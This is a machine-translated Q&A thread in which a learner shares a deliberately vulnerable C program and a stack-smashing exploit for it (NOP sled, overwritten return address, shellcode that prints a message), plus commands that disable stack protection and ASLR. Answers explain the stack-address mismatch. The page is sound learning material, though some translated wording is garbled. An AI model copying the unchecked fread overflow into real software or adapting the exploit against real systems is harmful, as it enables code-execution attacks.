2012-04-19 64 views
1

我有2個程序,我試圖做一些堆棧粉碎。C溢出需要一些方向

vuln.c

#include <stdlib.h> 
#include <stdio.h> 
int bof() 
{ 
    char buffer[8]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(buffer, sizeof(char), 1024, badfile); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    bof(); 
    printf("Not gonna do it! \n"); 
    return 1; 
} 

exploit.c

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 

char shellcode[] = 
"\xeb\x16" 
"\x31\xdb" 
"\x31\xd2" 
"\x31\xc0" 
"\x59" 
"\xbb\x01\x00\x00\x00" 
"\xb2\x09" 
"\xb0\x04" 
"\xcd\x80" 
"\xb0\x01" 
"\xcd\x80" 
"xe8\xe5\xff\xff\xff" 
"GOTCHA!\n"; 

#define OFFSET 1500 

    int bof() 
    { 
     char buffer[8]; 
     strcpy(buffer, "AAAAAAAAA"); 
     return 1; 
    } 

    unsigned long get_ESP(void) 
    { 
      __asm__("movl %ESP,%EAX"); 
    } 

    int main(int argc, char **argv) 
    { 
     unsigned int addr; 
     FILE *badfile; 
     char buffer[1024]; 
     addr = get_ESP()+OFFSET; 
     fprintf(stderr, "Using Offset: 0x%x\nShell code size: %lx\n",addr, sizeof(shellcode)); 
     memset(&buffer, 0x90, 1024); 
     buffer[12] = addr & 0x000000ff; 
     buffer[13] = (addr & 0x0000ff00) >> 8; 
     buffer[14] = (addr & 0x00ff0000) >> 16; 
     buffer[15] = (addr & 0xff000000) >> 24; 
     memcpy(&buffer[ (sizeof(buffer) - sizeof(shellcode)) ], shellcode,sizeof(shellcode)); 
     badfile = fopen("./badfile","w"); 
     fwrite(buffer,1024,1,badfile); 
     fclose(badfile); 

    } 

我這些命令,gcc vuln.c -fno-stack-protector -o vulngcc exploit.c -fno-stack-protector -o exploit編譯這對我的MacBook。我然後運行vuln,它運行正常,然後利用並獲得此輸出:

Using Offset: 0x6acd6814 
Shell code size: 28 

我然後與腐敗的od -t x2 badfile文件,所以它最終看起來像這樣:

bash-3.2# cat badfile 
????????????h?j?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1?1?Y?? ?̀?̀xe8????GOTCHA! 

我試圖獲得利用漏洞程序,以便打印GOTCHA!我現在得到Bus error: 10。任何人都可以給我一個暗示我要去哪裏的錯誤?

__ _ __ _ __ _ __ _ __ _ __ _ __ _ __ _ _更新_ __ _ __ _ _

我嘗試了與BT5相同的過程。使用echo 0 > /proc/sys/kernel/randomize_va_space禁用ASLR。我還是不明白爲什麼這樣不起作用。我在gdb中運行時得到這個:

Program received signal SIGSEGV, Segmentation fault. 
0x90909090 in ??() 
(gdb) 

我是否正確地嘗試了?

+0

使用調試器遍歷代碼。這應該可以幫助您準確查看代碼中發生總線錯誤的位置。 – bta 2012-04-19 01:11:38

+0

編程接收信號EXC_BAD_ACCESS,無法訪問存儲器。原因:13地址:0x0000000000000000 0x0000000100000e89 in bof() – atrueresistance 2012-04-19 01:12:47

+0

現代操作系統做ASLR(地址空間佈局隨機化)。這意味着堆棧在exploit和vuln可執行文件中的位置不相同。您需要關閉ASLR或使用舊版操作系統(例如Linux 2.4,不包含ASLR補丁)以使此代碼正常工作。 – 2012-04-19 01:13:23

回答

1

我不確定OSX有什麼樣的保護 - 這可能會在Linux上更好地工作。

無論如何,基本的想法看起來很好 - 你的易受攻擊的程序會打開一個大文件並將其轉儲到一個小數組中。問題似乎是您的文件創建。

當你得到ESP時,你會得到當前程序的堆棧指針。這對易受攻擊的程序沒有影響,除非堆棧在兩者中完全相同(不是這樣)。

什麼可能會更好地工作,實際上是在gdb中執行易受攻擊的程序,直到你點擊bof()並查看堆棧指針。如果這是一致的,那麼你贏了。如果它是隨機的(我的猜測是這樣),那麼你將需要使用你的諾基亞和希望。

在32位機器上,堆棧隨機化不會太多,反覆嘗試利用應該最終會讓您獲得成功的攻擊。

祝你好運!